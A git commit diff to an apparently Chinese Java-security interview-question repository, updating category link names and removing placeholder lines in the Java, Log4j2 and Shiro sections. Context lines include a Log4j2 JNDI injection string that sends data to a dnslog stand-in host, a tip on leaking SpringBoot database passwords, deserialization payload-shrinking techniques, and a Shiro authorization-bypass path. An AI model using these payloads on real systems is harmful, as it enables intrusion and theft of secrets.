update

4ra1n · 4ra1n · commit 75d7f435857d · 2022-02-14T15:25:07.000+08:00
diff --git a/README.md b/README.md
@@ -18,8 +18,8 @@
 
 ## 分类
 
-[JDK分类](https://github.com/4ra1n/JavaSecInterview/tree/master/java)
+[Java本身的安全问题 - 12个](https://github.com/4ra1n/JavaSecInterview/tree/master/java)
 
-[Shiro分类](https://github.com/4ra1n/JavaSecInterview/tree/master/shiro)
+[Shiro框架相关的安全问题 - 7个](https://github.com/4ra1n/JavaSecInterview/tree/master/shiro)
 
-[Log4j2分类](https://github.com/4ra1n/JavaSecInterview/tree/master/log4j2)
+[Log4j2组件相关的安全问题 - 6个](https://github.com/4ra1n/JavaSecInterview/tree/master/log4j2)
diff --git a/java/README.md b/java/README.md
@@ -193,7 +193,3 @@ LinkedHashSet.readObject()
 - 了解缩小反序列化Payload的手段吗（★★★）
 
 首先最容易的方案是使用Javassist生成字节码，这种情况下生成的字节码较小。进一步可以用ASM删除所有的LineNumber指令，可以更小一步。最终手段可以分块发送多个Payload最后合并再用URLClassLoader加载
-
-
-
-- 待师傅们补充
diff --git a/log4j2/README.md b/log4j2/README.md
@@ -43,7 +43,3 @@
 在`SpringBoot`情况下可以使用`bundle:application`获得数据库密码等敏感信息
 
 这些敏感信息可以利用`dnslog`外带`${jndi:ldap://${java:version}.xxx.dnslog.cn}`
-
-
-
-- 待补充
diff --git a/shiro/README.md b/shiro/README.md
@@ -47,7 +47,3 @@ Shiro注内存马时候由于反序列化Payload过大会导致请求头过大
 - Shiro的权限绕过问题了解吗（★★）
 
 主要是和Spring配合时候的问题，例如`/;/test/admin/page`问题，在`Tomcat`判断`/;test/admin/page` 为test应用下的`/admin/page`路由，进入到Shiro时被`;`截断被认作为`/`,再进入Spring时又被正确处理为test应用下的`/admin/page`路由，最后导致shiro的权限绕过。后一个修复绕过，是针对动态路由如`/admin/{name}`
-
-
-
-- 待补充
